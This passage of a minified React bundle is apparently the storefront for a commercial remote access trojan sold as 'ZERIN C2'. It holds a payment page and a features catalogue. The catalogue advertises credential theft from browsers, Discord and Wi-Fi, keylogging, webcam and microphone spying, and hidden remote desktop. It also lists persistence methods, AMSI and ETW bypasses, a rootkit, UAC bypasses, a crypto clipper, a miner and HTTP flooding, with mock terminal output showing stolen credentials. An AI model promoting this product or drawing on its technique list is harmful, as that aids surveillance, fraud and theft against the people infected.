text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),a.jsxs("div",{className:"px-6 py-6 space-y-6",children:[a.jsxs("div",{className:"space-y-3",children:[a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),a.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),a.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),a.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&a.jsxs("div",{children:[a.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out infinite"}})}),a.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&a.jsxs("div",{className:"space-y-3",children:[a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),a.jsx("div",{className:"flex items-center gap-2",children:a.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),a.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:s?"Copied!":"Copy Key"}),a.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",a.jsx(xt,{to:"/register",className:"underline hover:text-amber-400",children:"/register"})]})]}),(t.status==="failed"||t.status==="expired")&&a.jsxs("div",{className:"text-center space-y-3",children:[a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),a.jsx("p",{className:"text-[13px] text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),a.jsx(xt,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),a.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const Vi=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — <span class="text-emerald-400">active</span>']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [<span class="text-emerald-400">✓</span>] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep Obfuscation",desc:"Ekko-style: XOR-encrypts .text section during beacon sleep intervals",detail:"Timer-queue based encryption/decryption cycle"},{name:"Indirect Syscalls",desc:"Extracts SSNs from ntdll, uses syscall;ret gadgets — bypasses userland hooks",detail:"NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, and more"},{name:"ntdll Unhooking",desc:"Restores ntdll .text from clean KnownDlls mapping — removes EDR hooks",detail:"NtOpenSection/NtMapViewOfSection — no file I/O"},{name:"Polymorphic Engine",desc:"Every build produces unique machine code — no two agents share the same hash",detail:"Junk code generation, function randomization, unique keys per build"},{name:"Encrypted Strings",desc:"All strings ChaCha20-encrypted per-build, decrypted on stack at runtime",detail:"Wiped after use — zero plaintext in memory at rest"},{name:"IAT Dilution",desc:"Benign Windows APIs forced into import table to mimic legitimate software",detail:"Clean import profile — no suspicious API imports visible"},{name:"Dynamic API Resolution",desc:"PEB walk + FNV1a hash lookup — sensitive APIs never appear in IAT",detail:"RESOLVE_API macro for all Nt* and injection APIs"},{name:"Kill Protection",desc:"Strips terminate/suspend rights from OpenProcess calls targeting agent PID",detail:"Blocks Task Manager, taskkill, Process Explorer"},{name:"Child Process Injection",desc:"NtResumeThread hook auto-injects rootkit into every new child process",detail:"Shared memory ring buffer IPC for near-instant propagation"}],terminal:{title:"zerin :: evasion-status",lines:["$ evasion --status",' AMSI Bypass ........... <span class="text-emerald-400">active</span>',' ETW Patching .......... <span class="text-emerald-400">active</span>',' Sleep Obfuscation ..... <span class="text-emerald-400">active</span>',' Indirect Syscalls ..... <span class="text-emerald-400">active</span>',' ntdll Unhooked ........ <span class="text-emerald-400">clean</span>',' Rootkit Hooks ......... <span class="text-emerald-400">11/11</span>',' Kill Protection ....... <span class="text-emerald-400">active</span>',' Injected Processes .... <span class="text-cyan-400">34</span>']}},{id:"network",label:"Network Operations",tag:"NET",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M7.5 21 3 16.5m0 0L7.5 12M3 16.5h13.5m0-13.5L21 7.5m0 0L16.5 12M21 7.5H7.5",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Pivot into internal networks and route traffic through compromised hosts.",features:[{name:"SOCKS5 Reverse Proxy",desc:"Full SOCKS5 proxy tunneled through the agent over WebSocket",detail:"256 concurrent channels, binary framing, auto-reconnect"},{name:"Internal Pivoting",desc:"Route operator tools through the agent to reach internal hosts",detail:"Access segmented networks, internal services, lateral movement"},{name:"Port Hiding",desc:"Rootkit filters agent connections from netstat and TCPView",detail:"NtDeviceIoControlFile hook on NSI device — IPv4 and IPv6"}]},{id:"recon",label:"Reconnaissance",tag:"RCN",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m21 21-5.197-5.197m0 0A7.5 7.5 0 1 0 5.196 5.196a7.5 7.5 0 0 0 10.607 10.607Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Comprehensive target profiling and environment enumeration.",features:[{name:"System Info",desc:"OS version, build, architecture, hostname, domain, uptime"},{name:"Hardware Specs",desc:"CPU model, RAM capacity, GPU, disk information"},{name:"Network Interfaces",desc:"Adapters, IP addresses, MAC addresses, gateway info"},{name:"Active Connections",desc:"TCP/UDP connections, listening ports — like netstat"},{name:"Environment Variables",desc:"Full environment variable enumeration"},{name:"Registry Access",desc:"Read and write arbitrary registry keys and values"},{name:"Installed Applications",desc:"Software list from Add/Remove Programs"},{name:"Window Enumeration",desc:"Visible top-level windows with titles and owning PIDs"}]},{id:"privesc",label:"Privilege Escalation",tag:"ESC",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M4.5 10.5 12 3m0 0 7.5 7.5M12 3v18",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Silent UAC bypass techniques for automatic privilege elevation.",features:[{name:"Fodhelper UAC Bypass",desc:"Registry hijack via ms-settings shell command — auto-elevates without prompt",detail:"Works on Windows 10/11, cleans up registry keys after execution"},{name:"CMSTPLUA COM Elevation",desc:"CoGetObject elevation moniker to obtain ICMLuaUtil interface",detail:"ShellExec via COM — works Windows 7 through 11"},{name:"Forced UAC Fallback",desc:"ShellExecuteEx with runas verb if silent methods fail",detail:"Automatic fallback chain — tries silent first, prompts only as last resort"},{name:"Auto-Elevation on Launch",desc:"Automatic silent UAC bypass attempt on agent startup",detail:"Seamless — agent elevates itself without operator interaction"}],terminal:{title:"zerin :: priv-esc",lines:["$ elevate --auto"," [*] Current: Medium Integrity"," [*] Trying Fodhelper bypass..."," [+] Registry hijack set"," [+] fodhelper.exe launched"," [+] Elevated session spawned"," [*] Registry cleaned up",' [<span class="text-emerald-400">✓</span>] Now running as <span class="text-cyan-400">High Integrity</span>']}},{id:"c2",label:"C2 Infrastructure",tag:"C2I",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M16.5 10.5V6.75a4.5 4.5 0 1 0-9 0v3.75m-.75 11.25h10.5a2.25 2.25 0 0 0 2.25-2.25v-6.75a2.25 2.25 0 0 0-2.25-2.25H6.75a2.25 2.25 0 0 0-2.25 2.25v6.75a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Military-grade encrypted communications and payload delivery.",features:[{name:"ChaCha20-Poly1305",desc:"AEAD encryption for all C2 traffic — zero plaintext on the wire",detail:"Per-session keys, authenticated encryption"},{name:"X25519 Key Exchange",desc:"Elliptic curve Diffie-Hellman for forward-secret key negotiation",detail:"Ephemeral keys — compromise of one session doesn't affect others"},{name:"TLS 1.3 Transport",desc:"Industry-standard transport security wrapping the encrypted C2 channel",detail:"Double encryption — TLS outer layer + ChaCha20 inner layer"},{name:"Payload Builder",desc:"On-demand payload generation with configurable parameters",detail:"Callback URL, sleep interval, jitter, user-agent, output format (EXE/DLL)"},{name:"Stager / Stage 0",desc:"Lightweight loader — downloads, decrypts, and reflectively loads the full agent",detail:"XOR-encrypted payload, no disk artifacts, in-memory PE loading"},{name:"Crypter",desc:"Server-side runtime packing engine for additional evasion",detail:"Polymorphic + metamorphic generation, unique structure per build"}]},{id:"extras",label:"Extended Modules",tag:"EXT",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Additional operator modules for disruption, crypto operations, and stress testing.",features:[{name:"Troll Module",desc:"MessageBox, text-to-speech, wallpaper change, taskbar hide, CD eject, mouse/keyboard lock, black screen, DNS reroute",detail:"12 disruption commands for operator interaction"},{name:"Crypto Clipper",desc:"Clipboard monitoring for 9 cryptocurrencies — BTC, ETH, LTC, XMR, DOGE, SOL, XRP, TRX, BNB",detail:"Format-aware pattern matching (Base58, Bech32, hex), operator wallet replacement"},{name:"Miner Management",desc:"XMRig lifecycle control — deploy, configure pool/wallet, start/stop, monitor hashrate",detail:"IDLE priority, configurable CPU throttle, HTTP API stats"},{name:"HTTP Flood",desc:"Layer 7 stress testing — up to 64 threads with randomized User-Agent rotation",detail:"Configurable duration, method (GET/POST/HEAD), auto-stop watchdog"},{name:"Power Control",desc:"Restart or shutdown the target system remotely"},{name:"Agent Uninstall",desc:"Clean removal — strips persistence entries and self-deletes"}]}];function dS(e=.15){const t=m.useRef(null),[n,r]=m.useState(!1);return m.useEffect(()=>{const i=t.current;if(!i)return;const s=new IntersectionObserver(([o])=>{o.isIntersecting&&(r(!0),s.disconnect())},{threshold:e});return s.observe(i),()=>s.disconnect()},[e]),{ref:t,visible:n}}const VV=m.memo(function(){const t=m.useRef(null);return m.useEffect(()=>{const n=t.current;if(!n)return;const r=n.getContext("2d",{alpha:!0});let i,s=0,o=0;const l=1e3/30,c=256,u=new Array(c);for(let b=0;b<c;b++){const w=b/c*.07;u[b]=`rgba(6,182,212,${w.toFixed(4)})`}const d=60;let f=0,p=0,h=0,x=0,g;function y(){n.width=window.innerWidth,n.height=window.innerHeight,f=Math.ceil(n.width/d)+1,p=Math.ceil(n.height/d)+1,h=n.width/2,x=n.height/2,g=new Float32Array(p*f);for(let b=0;b<p;b++)for(let w=0;w<f;w++){const j=w*d-h,N=b*d-x;g[b*f+w]=Math.sqrt(j*j+N*N)*.005}}y(),window.addEventListener("resize",y);function v(b){if(i=requestAnimationFrame(v),b-o<l)return;o=b,s+=.003*(l/16.67);const w=n.width,j=n.height;r.clearRect(0,0,w,j);const N=Math.PI*2;let k=0;for(let z=0;z<p;z++){const S=z*d;for(let O=0;O<f;O++){const T=(Math.sin(g[k++]-s)*.5+.5)*c|0;r.fillStyle=u[T<c?T:c-1],r.beginPath(),r.arc(O*d,S,1,0,N),r.fill()}}}return i=requestAnimationFrame(v),()=>{cancelAnimationFrame(i),window.removeEventListener("resize",y)}},[]),a.jsx("canvas",{ref:t,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}})});function Jb({text:e,base:t}){const n=[];let r=0;const i=/<span class="(text-[^"]+)">([^<]*)<\/span>/g;let s=0,o;for(;(o=i.exec(e))!==null;)o.index>s&&n.push(a.jsx("span",{className:t,children:e.slice(s,o.index)},r++)),n.push(a.jsx("span",{className:o[1],children:o[2]},r++)),s=i.lastIndex;return s<e.length&&n.push(a.jsx("span",{className:t,children:e.slice(s)},r++)),a.jsx(a.Fragment,{children:n})}function HV({title:e,lines:t}){const{ref:n,visible:r}=dS(.2);return a.jsxs("div",{ref:n,className:`border border-[#1a1a22] bg-[#06060b] transition-all duration-700 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-4"}`,children:[a.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b border-[#1a1a22]",children:[a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-red-500/60"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-yellow-500/40"}),a.jsx("div",{className:"w-2.5 h-2.5 rounded-full bg-green-500/40"}),a.jsx("span",{className:"ml-3 font-mono text-[11px] text-zerin-text-muted/50",children:e})]}),a.jsx("div",{className:"p-5 font-mono text-[12px] leading-[1.9] space-y-0.5",children:t.map((i,s)=>a.jsx("div",{className:`transition-all duration-500 ${r?"opacity-100":"opacity-0"}`,style:{transitionDelay:r?`${s*80}ms`:"0ms"},children:i.startsWith("$")?a.jsxs(a.Fragment,{children:[a.jsx("span",{className:"text-zerin-accent",children:"$"}),a.jsx("span",{className:"ml-2",children:a.jsx(Jb,{text:i.slice(1),base:"text-zerin-text-dim"})})]}):a.jsx("span",{className:"pl-4",children:a.jsx(Jb,{text:i,base:"text-zerin-text-muted/60"})})},s))})]})}const KV=m.memo(function({feat:t,delay:n,visible:r}){const[i,s]=m.useState(!1);return a.jsx("div",{className:`group border border-[#1a1a22] bg-[#08080c]/60 hover:border-zerin-accent/20 transition-all duration-500 ${r?"opacity-100 translate-y-0":"opacity-0 translate-y-3"}`,style:{transitionDelay:r?`${n}ms`:"0ms"},children:a.jsxs("button",{onClick:()=>t.detail&&s(!i),className:"w-full text-left px-5 py-4 flex items-start gap-4",children:[a.jsx("div",{className:"flex-shrink-0 mt-0.5 w-1.5 h-1.5 rounded-full bg-zerin-accent/50 group-hover:bg-zerin-accent transition-colors"}),a.jsxs("div",{className:"flex-1 min-w-0",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("h4",{className:"font-display text-[14px] font-semibold text-zerin-text group-hover:text-zerin-accent transition-colors duration-300",children:t.name}),t.detail&&a.jsx("svg",{className:`w-3 h-3 text-zerin-text-muted/40 transition-transform duration-200 ${i?"rotate-180":""}`,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"2",children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"m19.5 8.25-7.5 7.5-7.5-7.5"})})]}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted leading-relaxed mt-0.5",children:t.desc}),t.detail&&i&&a.jsx("p",{className:"font-mono text-[11px] text-zerin-accent/60 leading-relaxed mt-2 pl-0 border-l-2 border-zerin-accent/20 ml-0 pl-3",children:t.detail})]})]})})});function GV({cat:e,index:t}){const{ref:n,visible:r}=dS(.1);return a.jsxs("section",{ref:n,id:e.id,className:"scroll-mt-24",children:[a.jsxs("div",{className:`flex items-center gap-4 mb-6 transition-all duration-700 ${r?"opacity-100 translate-x-0":"opacity-0 -translate-x-4"}`,children:[a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-mono text-[10px] tracking-[0.2em] text-zerin-accent/40",children:String(t+1).padStart(2,"0")}),a.jsx("div",{className:"w-8 h-8 border border-zerin-accent/20 bg-zerin-accent/5 flex items-center justify-center text-zerin-accent/70",children:e.icon})]}),a.jsxs("div",{children:[a.jsxs("div",{className:"flex items-center gap-2.5",children:[a.jsx("h2",{className:"font-display font-bold text-xl text-zerin-text tracking-tight",children:e.label}),a.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] border border-zerin-accent/20 text-zerin-accent/50 px-1.5 py-0.5 leading-none",children:e.tag})]}),a.jsx("p",{className:"font-mono text-[12px] text-zerin-text-muted mt-0.5",children:e.lead})]})]}),a.jsxs("div",{className:`grid gap-[1px] ${e.terminal?"lg:grid-cols-[1fr_380px]":""} gap-6`,children:[a.jsx("div",{className:"space-y-[1px]",children:e.features.map((i,s)=>a.jsx(KV,{feat:i,delay:s*50,visible:r},i.name))}),e.terminal&&a.jsx("div",{className:"hidden lg:block",children:a.jsx("div",{className:"sticky top-24",children:a.jsx(HV,{title:e.terminal.title,lines:e.terminal.lines})})})]})]})}function YV({activeId:e}){return a.jsx("nav",{className:"hidden xl:block fixed left-6 top-1/2 -translate-y-1/2 z-40",children:a.jsx("div",{className:"flex flex-col gap-1",children:Vi.map(t=>a.jsxs("a",{href:`#${t.id}`,className:`group flex items-center gap-2 py-1 transition-all duration-300 ${e===t.id?"opacity-100":"opacity-30 hover:opacity-60"}`,children:[a.jsx("div",{className:`h-[2px] transition-all duration-300 ${e===t.id?"w-6 bg-zerin-accent":"w-3 bg-zerin-text-muted/40 group-hover:w-4 group-hover:bg-zerin-text-muted/60"}`}),a.jsx("span",{className:"font-mono text-[9px] tracking-[0.15em] text-zerin-text-muted uppercase",children:t.tag})]},t.id))})})}function oc({value:e,label:t,suffix:n=""}){return a.jsxs("div",{className:"text-center",children:[a.jsxs("div",{className:"font-mono text-3xl md:text-4xl font-bold text-zerin-accent tabular-nums",children:[e,n]}),a.jsx("div",{className:"text-zerin-text-muted text-[10px] mt-1.5 uppercase tracking-[0.2em] font-mono",children:t})]})}function qV(){const[e,t]=m.useState(!1),[n,r]=m.useState(Vi[0].id);m.useEffect(()=>{const o=()=>t(window.scrollY>20);return window.addEventListener("scroll",o),()=>window.removeEventListener("scroll",o)},[]),m.useEffect(()=>{const o=new IntersectionObserver(c=>{for(const u of c)u.isIntersecting&&r(u.target.id)},{rootMargin:"-30% 0px -60% 0px"});return Vi.map(c=>document.getElementById(c.id)).filter(Boolean).forEach(c=>o.observe(c)),()=>o.disconnect()},[]);const i=m.useCallback(()=>{window.scrollTo({top:0,behavior:"smooth"})},[]),s=Vi.reduce((o,l)=>o+l.features.length,0);return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden overflow-y-auto",children:[a.jsx(VV,{}),a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[1000px] h-[600px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)",zIndex:0}}),a.jsx("nav",{className:`fixed top-0 left-0 right-0 z-50 transition-all duration-300 ${e?"bg-[#04040a]/80 backdrop-blur-xl border-b border-[#1a1a22]":"bg-transparent"}`,children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsx("div",{className:"flex items-center gap-3",children:a.jsxs(xt,{to:"/",className:"flex items-center gap-3 hover:opacity-80 transition-opacity",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"C2"})]})}),a.jsxs("div",{className:"flex items-center gap-3",children:[a.jsx(xt,{to:"/features",className:"text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Features"}),a.jsx("a",{href:"/#pricing",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5",children:"Pricing"}),a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"text-zerin-text-dim hover:text-zerin-accent text-sm font-mono transition-colors px-3 py-1.5 flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 